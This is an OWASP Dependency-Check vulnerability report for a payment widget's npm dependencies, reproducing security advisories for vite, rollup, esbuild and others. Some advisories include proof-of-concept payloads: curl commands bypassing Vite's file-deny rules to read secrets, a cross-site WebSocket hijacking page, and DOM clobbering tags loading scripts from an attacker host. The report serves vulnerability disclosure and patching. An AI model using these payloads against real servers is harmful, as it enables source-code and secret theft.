Dependency-Check is an open source tool performing a best effort analysis of 3rd party dependencies; false positives and false negatives may exist in the analysis performed by the tool. Use of the tool and the reporting provided constitutes acceptance for use in an AS IS condition, and there are NO warranties, implied or otherwise, with regard to the analysis or its use. Any use of the tool and the reporting provided is at the user’s risk. In no event shall the copyright holder or OWASP be held liable for any damages whatsoever arising out of or in connection with the use of this tool, the analysis performed, or the resulting report.
| Dependency | Vulnerability IDs | Package | Highest Severity | CVE Count | Confidence | Evidence Count |
|---|---|---|---|---|---|---|
| braces:3.0.2 | pkg:npm/braces@3.0.2 | HIGH | 2 | 3 | ||
| esbuild:0.14.54 | pkg:npm/esbuild@0.14.54 | MEDIUM | 1 | 3 | ||
| micromatch:4.0.5 | pkg:npm/micromatch@4.0.5 | HIGH | 2 | 3 | ||
| nanoid:3.3.7 | pkg:npm/nanoid@3.3.7 | MEDIUM | 2 | 3 | ||
| pnpm-lock.yaml | 0 | 2 | ||||
| post-build.js | 0 | 0 | ||||
| postcss.config.js | 0 | 0 | ||||
| rollup:2.77.3 | pkg:npm/rollup@2.77.3 | MEDIUM | 2 | 3 | ||
| tailwind.config.js | 0 | 0 | ||||
| vite:2.9.16 | pkg:npm/vite@2.9.16 | HIGH | 9 | 3 |
File Path: D:\Auropayrepos\AuropayFlutterSDK\AuropayPaymentWidget\package-lock.json?braces
Referenced In Project/Scope: package-lock.json: transitive
The NPM package `braces` fails to limit the number of characters it can handle, which could lead to Memory Exhaustion. In `lib/parse.js,` if a malicious user sends "imbalanced braces" as input, the parsing will enter a loop, which will cause the program to start allocating heap memory without freeing it at any moment of the loop. Eventually, the JavaScript heap limit is reached, and the program will crash.CWE-400 Uncontrolled Resource Consumption, CWE-1050 Excessive Platform Resource Consumption within a Loop
Vulnerable Software & Versions (NPM):
CVE-2024-4068 (OSSINDEX)
The NPM package `braces`, versions prior to 3.0.3, fails to limit the number of characters it can handle, which could lead to Memory Exhaustion. In `lib/parse.js,` if a malicious user sends "imbalanced braces" as input, the parsing will enter a loop, which will cause the program to start allocating heap memory without freeing it at any moment of the loop. Eventually, the JavaScript heap limit is reached, and the program will crash.CWE-1050 Excessive Platform Resource Consumption within a Loop
Vulnerable Software & Versions (OSSINDEX):
File Path: D:\Auropayrepos\AuropayFlutterSDK\AuropayPaymentWidget\package-lock.json?esbuild
Referenced In Project/Scope: package-lock.json: transitive
### Summary
esbuild allows any websites to send any request to the development server and read the response due to default CORS settings.
### Details
esbuild sets `Access-Control-Allow-Origin: *` header to all requests, including the SSE connection, which allows any websites to send any request to the development server and read the response.
https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L121
https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L363
**Attack scenario**:
1. The attacker serves a malicious web page (`http://malicious.example.com`).
1. The user accesses the malicious web page.
1. The attacker sends a `fetch('http://127.0.0.1:8000/main.js')` request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.
1. The attacker gets the content of `http://127.0.0.1:8000/main.js`.
In this scenario, I assumed that the attacker knows the URL of the bundle output file name. But the attacker can also get that information by
- Fetching `/index.html`: normally you have a script tag here
- Fetching `/assets`: it's common to have a `assets` directory when you have JS files and CSS files in a different directory and the directory listing feature tells the attacker the list of files
- Connecting `/esbuild` SSE endpoint: the SSE endpoint sends the URL path of the changed files when the file is changed (`new EventSource('/esbuild').addEventListener('change', e => console.log(e.type, e.data))`)
- Fetching URLs in the known file: once the attacker knows one file, the attacker can know the URLs imported from that file
The scenario above fetches the compiled content, but if the victim has the source map option enabled, the attacker can also get the non-compiled content by fetching the source map file.
### PoC
1. Download [reproduction.zip](https://github.com/user-attachments/files/18561484/reproduction.zip)
2. Extract it and move to that directory
1. Run `npm i`
1. Run `npm run watch`
1. Run `fetch('http://127.0.0.1:8000/app.js').then(r => r.text()).then(content => console.log(content))` in a different website's dev tools.
### Impact
Users using the serve feature may get the source code stolen by malicious websites.CWE-346 Origin Validation ErrorVulnerable Software & Versions (NPM):
File Path: D:\Auropayrepos\AuropayFlutterSDK\AuropayPaymentWidget\package-lock.json?micromatch
Referenced In Project/Scope: package-lock.json: transitive
CVE-2024-4067 (OSSINDEX)
The NPM package `micromatch` prior to 4.0.8 is vulnerable to Regular Expression Denial of Service (ReDoS). The vulnerability occurs in `micromatch.braces()` in `index.js` because the pattern `.*` will greedily match anything. By passing a malicious payload, the pattern matching will keep backtracking to the input while it doesn't find the closing bracket. As the input size increases, the consumption time will also increase until it causes the application to hang or slow down. There was a merged fix but further testing shows the issue persists. This issue should be mitigated by using a safe pattern that won't start backtracking the regular expression due to greedy matching. This issue was fixed in version 4.0.8.CWE-1333 Inefficient Regular Expression Complexity
Vulnerable Software & Versions (OSSINDEX):
The NPM package `micromatch` prior to version 4.0.8 is vulnerable to Regular Expression Denial of Service (ReDoS). The vulnerability occurs in `micromatch.braces()` in `index.js` because the pattern `.*` will greedily match anything. By passing a malicious payload, the pattern matching will keep backtracking to the input while it doesn't find the closing bracket. As the input size increases, the consumption time will also increase until it causes the application to hang or slow down. There was a merged fix but further testing shows the issue persisted prior to https://github.com/micromatch/micromatch/pull/266. This issue should be mitigated by using a safe pattern that won't start backtracking the regular expression due to greedy matching.CWE-1333 Inefficient Regular Expression Complexity
Vulnerable Software & Versions (NPM):
File Path: D:\Auropayrepos\AuropayFlutterSDK\AuropayPaymentWidget\package-lock.json?nanoid
Referenced In Project/Scope: package-lock.json: transitive
CVE-2024-55565 (OSSINDEX)
nanoid (aka Nano ID) before 5.0.9 mishandles non-integer values. 3.3.8 is also a fixed version.CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')
Vulnerable Software & Versions (OSSINDEX):
When nanoid is called with a fractional value, there were a number of undesirable effects: 1. in browser and non-secure, the code infinite loops on while (size--) 2. in node, the value of poolOffset becomes fractional, causing calls to nanoid to return zeroes until the pool is next filled 3. if the first call in node is a fractional argument, the initial buffer allocation fails with an error Version 3.3.8 and 5.0.9 are fixed.CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')
Vulnerable Software & Versions (NPM):
File Path: D:\Auropayrepos\AuropayFlutterSDK\AuropayPaymentWidget\pnpm-lock.yaml
MD5: 1b77a8767cae73184295a2b6acb698d4
SHA1: d86e3e401a8ac2d9ae6d6e8f8038e199db4d1fcf
SHA256:027d4ebf67977d26e4fe3dd08c5c18aac9097171b16afd6a0ed7ed534bffe8e7
File Path: D:\Auropayrepos\AuropayFlutterSDK\AuropayPaymentWidget\scripts\post-build.js
MD5: ef29bc73f828b13dc86083370cad00a5
SHA1: 46dc1edd946d1edbaed91f455fd2ee240e19f0b0
SHA256:97ca701b161cf422278c86686cd178d3d5b9eb60f0ee3e1dfabaa0f22d717740
File Path: D:\Auropayrepos\AuropayFlutterSDK\AuropayPaymentWidget\postcss.config.js
MD5: c02015d11c280b93a9289b814a983c4f
SHA1: 7b258efb1d96f4fb3da20c2b3c2df4a6462f82d5
SHA256:c959419bf5097615ba9cef876219d56c9cbb32b365bb2520ae4ba3f397f79b62
File Path: D:\Auropayrepos\AuropayFlutterSDK\AuropayPaymentWidget\package-lock.json?rollup
Referenced In Project/Scope: package-lock.json: transitive
### Summary
We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use `import.meta.url` or with plugins that emit and reference asset files from code in `cjs`/`umd`/`iife` format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an `img` tag with an unsanitized `name` attribute) are present.
It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack ([CVE-2024-43788](https://github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986)), which might serve as a good reference.
### Details
#### Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
#### Gadget found in `rollup`
We have identified a DOM Clobbering vulnerability in `rollup` bundled scripts, particularly when the scripts uses `import.meta` and set output in format of `cjs`/`umd`/`iife`. In such cases, `rollup` replaces meta property with the URL retrieved from `document.currentScript`.
https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162
https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185
However, this implementation is vulnerable to a DOM Clobbering attack. The `document.currentScript` lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the `src` attribute of the attacker-controlled element (e.g., an `img` tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.
### PoC
Considering a website that contains the following `main.js` script, the devloper decides to use the `rollup` to bundle up the program: `rollup main.js --format cjs --file bundle.js`.
```
var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)
```
The output `bundle.js` is shown in the following code snippet.
```
'use strict';
var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);
```
Adding the `rollup` bundled script, `bundle.js`, as part of the web page source code, the page could load the `extra.js` file from the attacker's domain, `attacker.controlled.server` due to the introduced gadget during bundling. The attacker only needs to insert an `img` tag with the name attribute set to `currentScript`. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
```
<!DOCTYPE html>
<html>
<head>
<title>rollup Example</title>
<!-- Attacker-controlled Script-less HTML Element starts--!>
<img name="currentScript" src="https://attacker.controlled.server/"></img>
<!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>
```
### Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of `cjs`, `iife`, or `umd` and use `import.meta`) and allow users to inject certain scriptless HTML tags without properly sanitizing the `name` or `id` attributes.
### Patch
Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.
```
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
getResolveUrl(
`'${escapeId(relativePath)}', ${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
);
```
```
const getUrlFromDocument = (chunkId: string, umd = false) =>
`${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
chunkId
)}', document.baseURI).href)`;
```
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')Vulnerable Software & Versions (NPM):
CVE-2024-47068 (OSSINDEX)
Rollup is a module bundler for JavaScript. Versions prior to 2.79.2, 3.29.5, and 4.22.4 are susceptible to a DOM Clobbering vulnerability when bundling scripts with properties from `import.meta` (e.g., `import.meta.url`) in `cjs`/`umd`/`iife` format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an `img` tag with an unsanitized `name` attribute) are present. Versions 2.79.2, 3.29.5, and 4.22.4 contain a patch for the vulnerability.CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable Software & Versions (OSSINDEX):
File Path: D:\Auropayrepos\AuropayFlutterSDK\AuropayPaymentWidget\tailwind.config.js
MD5: cf93109af013b62c4eabdabeabea2655
SHA1: 5416091349aa13e2c1e75801011f107aeb92d277
SHA256:f24daf6be6b2fbf920fe04bc856aef7601c37981e66f875d782d35a76ba3c2c1
File Path: D:\Auropayrepos\AuropayFlutterSDK\AuropayPaymentWidget\package-lock.json?vite
Referenced In Project/Scope: package-lock.json: transitive
CVE-2024-45811 (OSSINDEX)
Vite a frontend build tooling framework for javascript. In affected versions the contents of arbitrary files can be returned to the browser. `@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists. This issue has been patched in versions 5.4.6, 5.3.6, 5.2.14, 4.5.5, and 3.2.11. Users are advised to upgrade. There are no known workarounds for this vulnerability. Sonatype's research suggests that this CVE's details differ from those defined at NVD. See https://ossindex.sonatype.org/vulnerability/CVE-2024-45811 for detailsCWE-200 Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable Software & Versions (OSSINDEX):
CVE-2024-23331 (OSSINDEX)
Vite is a frontend tooling framework for javascript. The Vite dev server option `server.fs.deny` can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows. This bypass is similar to CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems. Since `picomatch` defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible. By requesting raw filesystem paths using augmented casing, the matcher derived from `config.server.fs.deny` fails to block access to sensitive files. This issue has been addressed in vite@5.0.12, vite@4.5.2, vite@3.2.8, and vite@2.9.17. Users are advised to upgrade. Users unable to upgrade should restrict access to dev servers.CWE-178 Improper Handling of Case Sensitivity
Vulnerable Software & Versions (OSSINDEX):
### Summary
[Vite dev server option](https://vitejs.dev/config/server-options.html#server-fs-deny) `server.fs.deny` can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.
This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.
### Patches
Fixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17
### Details
Since `picomatch` defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.
See `picomatch` usage, where `nocase` is defaulted to `false`: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632
By requesting raw filesystem paths using augmented casing, the matcher derived from `config.server.fs.deny` fails to block access to sensitive files.
### PoC
**Setup**
1. Created vanilla Vite project using `npm create vite@latest` on a Standard Azure hosted Windows 10 instance.
- `npm run dev -- --host 0.0.0.0`
- Publicly accessible for the time being here: http://20.12.242.81:5173/
2. Created dummy secret files, e.g. `custom.secret` and `production.pem`
3. Populated `vite.config.js` with
```javascript
export default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }
```
**Reproduction**
1. `curl -s http://20.12.242.81:5173/@fs//`
- Descriptive error page reveals absolute filesystem path to project root
2. `curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js`
- Discoverable configuration file reveals locations of secrets
3. `curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT`
- Secrets are directly accessible using case-augmented version of filename
**Proof**
### Impact
**Who**
- Users with exposed dev servers on environments with case-insensitive filesystems
**What**
- Files protected by `server.fs.deny` are both discoverable, and accessibleCWE-284 Improper Access Control, CWE-178 Improper Handling of Case Sensitivity, CWE-200 Exposure of Sensitive Information to an Unauthorized ActorVulnerable Software & Versions (NPM):
### Summary
Vite allowed any websites to send any requests to the development server and read the response due to default CORS settings and lack of validation on the Origin header for WebSocket connections.
> [!WARNING]
> This vulnerability even applies to users that only run the Vite dev server on the local machine and does not expose the dev server to the network.
### Upgrade Path
Users that does not match either of the following conditions should be able to upgrade to a newer version of Vite that fixes the vulnerability without any additional configuration.
- Using the backend integration feature
- Using a reverse proxy in front of Vite
- Accessing the development server via a domain other than `localhost` or `*.localhost`
- Using a plugin / framework that connects to the WebSocket server on their own from the browser
#### Using the backend integration feature
If you are using the backend integration feature and not setting [`server.origin`](https://vite.dev/config/server-options.html#server-origin), you need to add the origin of the backend server to the [`server.cors.origin`](https://github.com/expressjs/cors#configuration-options) option. Make sure to set a specific origin rather than `*`, otherwise any origin can access your development server.
#### Using a reverse proxy in front of Vite
If you are using a reverse proxy in front of Vite and sending requests to Vite with a hostname other than `localhost` or `*.localhost`, you need to add the hostname to the new [`server.allowedHosts`](https://vite.dev/config/server-options.html#server-allowedhosts) option. For example, if the reverse proxy is sending requests to `http://vite:5173`, you need to add `vite` to the `server.allowedHosts` option.
#### Accessing the development server via a domain other than `localhost` or `*.localhost`
You need to add the hostname to the new [`server.allowedHosts`](https://vite.dev/config/server-options.html#server-allowedhosts) option. For example, if you are accessing the development server via `http://foo.example.com:8080`, you need to add `foo.example.com` to the `server.allowedHosts` option.
#### Using a plugin / framework that connects to the WebSocket server on their own from the browser
If you are using a plugin / framework, try upgrading to a newer version of Vite that fixes the vulnerability. If the WebSocket connection appears not to be working, the plugin / framework may have a code that connects to the WebSocket server on their own from the browser.
In that case, you can either:
- fix the plugin / framework code to the make it compatible with the new version of Vite
- set `legacy.skipWebSocketTokenCheck: true` to opt-out the fix for [2] while the plugin / framework is incompatible with the new version of Vite
- When enabling this option, **make sure that you are aware of the security implications** described in the impact section of [2] above.
### Mitigation without upgrading Vite
#### [1]: Permissive default CORS settings
Set `server.cors` to `false` or limit `server.cors.origin` to trusted origins.
#### [2]: Lack of validation on the Origin header for WebSocket connections
There aren't any mitigations for this.
#### [3]: Lack of validation on the Host header for HTTP requests
Use Chrome 94+ or use HTTPS for the development server.
### Details
There are three causes that allowed malicious websites to send any requests to the development server:
#### [1]: Permissive default CORS settings
Vite sets the [`Access-Control-Allow-Origin`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin) header depending on [`server.cors`](https://vite.dev/config/server-options.html#server-cors) option. The default value was `true` which sets `Access-Control-Allow-Origin: *`. This allows websites on any origin to `fetch` contents served on the development server.
Attack scenario:
1. The attacker serves a malicious web page (`http://malicious.example.com`).
2. The user accesses the malicious web page.
3. The attacker sends a `fetch('http://127.0.0.1:5173/main.js')` request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.
4. The attacker gets the content of `http://127.0.0.1:5173/main.js`.
#### [2]: Lack of validation on the Origin header for WebSocket connections
Vite starts a WebSocket server to handle HMR and other functionalities. This WebSocket server [did not perform validation on the Origin header](https://github.com/vitejs/vite/blob/v6.0.7/packages/vite/src/node/server/ws.ts#L145-L157) and was vulnerable to Cross-Site WebSocket Hijacking (CSWSH) attacks. With that attack, an attacker can read and write messages on the WebSocket connection. Vite only sends some information over the WebSocket connection ([list of the file paths that changed, the file content where the errored happened, etc.](https://github.com/vitejs/vite/blob/v6.0.7/packages/vite/types/hmrPayload.d.ts#L12-L72)), but plugins can send arbitrary messages and may include more sensitive information.
Attack scenario:
1. The attacker serves a malicious web page (`http://malicious.example.com`).
2. The user accesses the malicious web page.
3. The attacker runs `new WebSocket('http://127.0.0.1:5173', 'vite-hmr')` by JS in that malicious web page.
4. The user edits some files.
5. Vite sends some HMR messages over WebSocket.
6. The attacker gets the content of the HMR messages.
#### [3]: Lack of validation on the Host header for HTTP requests
Unless [`server.https`](https://vite.dev/config/server-options.html#server-https) is set, Vite starts the development server on HTTP. Non-HTTPS servers are vulnerable to DNS rebinding attacks without validation on the Host header. But Vite did not perform validation on the Host header. By exploiting this vulnerability, an attacker can send arbitrary requests to the development server bypassing the same-origin policy.
1. The attacker serves a malicious web page that is served on **HTTP** (`http://malicious.example.com:5173`) (HTTPS won't work).
2. The user accesses the malicious web page.
3. The attacker changes the DNS to point to 127.0.0.1 (or other private addresses).
4. The attacker sends a `fetch('/main.js')` request by JS in that malicious web page.
5. The attacker gets the content of `http://127.0.0.1:5173/main.js` bypassing the same origin policy.
### Impact
#### [1]: Permissive default CORS settings
Users with the default `server.cors` option may:
- get the source code stolen by malicious websites
- give the attacker access to functionalities that are not supposed to be exposed externally
- Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind `server.proxy` may have those functionalities.
#### [2]: Lack of validation on the Origin header for WebSocket connections
All users may get the file paths of the files that changed and the file content where the error happened be stolen by malicious websites.
For users that is using a plugin that sends messages over WebSocket, that content may be stolen by malicious websites.
For users that is using a plugin that has a functionality that is triggered by messages over WebSocket, that functionality may be exploited by malicious websites.
#### [3]: Lack of validation on the Host header for HTTP requests
Users using HTTP for the development server and using a browser that is not Chrome 94+ may:
- get the source code stolen by malicious websites
- give the attacker access to functionalities that are not supposed to be exposed externally
- Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind `server.proxy` may have those functionalities.
Chrome 94+ users are not affected for [3], because [sending a request to a private network page from public non-HTTPS page is forbidden](https://developer.chrome.com/blog/private-network-access-update#chrome_94) since Chrome 94.
### Related Information
Safari has [a bug that blocks requests to loopback addresses from HTTPS origins](https://bugs.webkit.org/show_bug.cgi?id=171934). This means when the user is using Safari and Vite is listening on lookback addresses, there's another condition of "the malicious web page is served on HTTP" to make [1] and [2] to work.
### PoC
#### [2]: Lack of validation on the Origin header for WebSocket connections
1. I used the `react` template which utilizes HMR functionality.
```
npm create vite@latest my-vue-app-react -- --template react
```
2. Then on a malicious server, serve the following POC html:
```html
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8" />
<title>vite CSWSH</title>
</head>
<body>
<div id="logs"></div>
<script>
const div = document.querySelectorAll('#logs')[0];
const ws = new WebSocket('ws://localhost:5173','vite-hmr');
ws.onmessage = event => {
const logLine = document.createElement('p');
logLine.innerHTML = event.data;
div.append(logLine);
};
</script>
</body>
</html>
```
3. Kick off Vite
```
npm run dev
```
4. Load the development server (open `http://localhost:5173/`) as well as the malicious page in the browser.
5. Edit `src/App.jsx` file and intentionally place a syntax error
6. Notice how the malicious page can view the websocket messages and a snippet of the source code is exposed
Here's a video demonstrating the POC:
https://github.com/user-attachments/assets/a4ad05cd-0b34-461c-9ff6-d7c8663d6961CWE-346 Origin Validation Error, CWE-1385 Missing Origin Validation in WebSockets, CWE-350 Reliance on Reverse DNS Resolution for a Security-Critical ActionVulnerable Software & Versions (NPM):
### Summary
We discovered a DOM Clobbering vulnerability in Vite when building scripts to `cjs`/`iife`/`umd` output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.
Note that, we have identified similar security issues in Webpack: https://github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986
### Details
**Backgrounds**
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
**Gadgets found in Vite**
We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to `cjs`, `iife`, or `umd`. In such cases, Vite replaces relative paths starting with `__VITE_ASSET__` using the URL retrieved from `document.currentScript`.
However, this implementation is vulnerable to a DOM Clobbering attack. The `document.currentScript` lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.
```
const relativeUrlMechanisms = {
amd: (relativePath) => {
if (relativePath[0] !== ".") relativePath = "./" + relativePath;
return getResolveUrl(
`require.toUrl('${escapeId(relativePath)}'), document.baseURI`
);
},
cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
relativePath
)} : ${getRelativeUrlFromDocument(relativePath)})`,
es: (relativePath) => getResolveUrl(
`'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
),
iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
// NOTE: make sure rollup generate `module` params
system: (relativePath) => getResolveUrl(
`'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
),
umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
relativePath
)} : ${getRelativeUrlFromDocument(relativePath, true)})`
};
```
### PoC
Considering a website that contains the following `main.js` script, the devloper decides to use the Vite to bundle up the program with the following configuration.
```
// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)
```
```
// extra.js
export default "https://myserver/justAnOther.js"
```
```
// vite.config.js
import { defineConfig } from 'vite'
export default defineConfig({
build: {
assetsInlineLimit: 0, // To avoid inline assets for PoC
rollupOptions: {
output: {
format: "cjs"
},
},
},
base: "./",
});
```
After running the build command, the developer will get following bundle as the output.
```
// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);
```
Adding the Vite bundled script, `dist/index-DDmIg9VD.js`, as part of the web page source code, the page could load the `extra.js` file from the attacker's domain, `attacker.controlled.server`. The attacker only needs to insert an `img` tag with the `name` attribute set to `currentScript`. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
```
<!DOCTYPE html>
<html>
<head>
<title>Vite Example</title>
<!-- Attacker-controlled Script-less HTML Element starts--!>
<img name="currentScript" src="https://attacker.controlled.server/"></img>
<!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>
```
### Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of `cjs`, `iife`, or `umd`) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.
### Patch
```
// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
getResolveUrl(
`'${escapeId(partialEncodeURIPath(relativePath))}', ${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
)
```CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')Vulnerable Software & Versions (NPM):
CVE-2024-31207 (OSSINDEX)
Vite (French word for "quick", pronounced /vit/, like "veet") is a frontend build tooling to improve the frontend development experience.`server.fs.deny` does not deny requests for patterns with directories. This vulnerability has been patched in version(s) 5.2.6, 5.1.7, 5.0.13, 4.5.3, 3.2.10 and 2.9.18.CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable Software & Versions (OSSINDEX):
CVE-2025-24010 (OSSINDEX)
Vite is a frontend tooling framework for javascript. Vite allowed any websites to send any requests to the development server and read the response due to default CORS settings and lack of validation on the Origin header for WebSocket connections. This vulnerability is fixed in 6.0.9, 5.4.12, and 4.5.6.CWE-1385 Missing Origin Validation in WebSockets
Vulnerable Software & Versions (OSSINDEX):
### Summary
[Vite dev server option](https://vitejs.dev/config/server-options.html#server-fs-deny) `server.fs.deny` did not deny requests for patterns with directories. An example of such a pattern is `/foo/**/*`.
### Impact
Only apps setting a custom `server.fs.deny` that includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) are affected.
### Patches
Fixed in vite@5.2.6, vite@5.1.7, vite@5.0.13, vite@4.5.3, vite@3.2.10, vite@2.9.18
### Details
`server.fs.deny` uses picomatch with the config of `{ matchBase: true }`. [matchBase](https://github.com/micromatch/picomatch/blob/master/README.md#options:~:text=Description-,basename,-boolean) only matches the basename of the file, not the path due to a bug (https://github.com/micromatch/picomatch/issues/89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set `{ dot: true }` and that causes [dotfiles not to be denied](https://github.com/micromatch/picomatch/blob/master/README.md#options:~:text=error%20is%20thrown.-,dot,-boolean) unless they are explicitly defined.
**Reproduction**
Set fs.deny to `['**/.git/**']` and then curl for `/.git/config`.
* with `matchBase: true`, you can get any file under `.git/` (config, HEAD, etc).
* with `matchBase: false`, you cannot get any file under `.git/` (config, HEAD, etc).
CWE-284 Improper Access Control, CWE-200 Exposure of Sensitive Information to an Unauthorized ActorVulnerable Software & Versions (NPM):
### Summary
The contents of arbitrary files can be returned to the browser.
### Details
`@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists.
### PoC
```sh
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...
```
CWE-284 Improper Access Control, CWE-200 Exposure of Sensitive Information to an Unauthorized ActorVulnerable Software & Versions (NPM):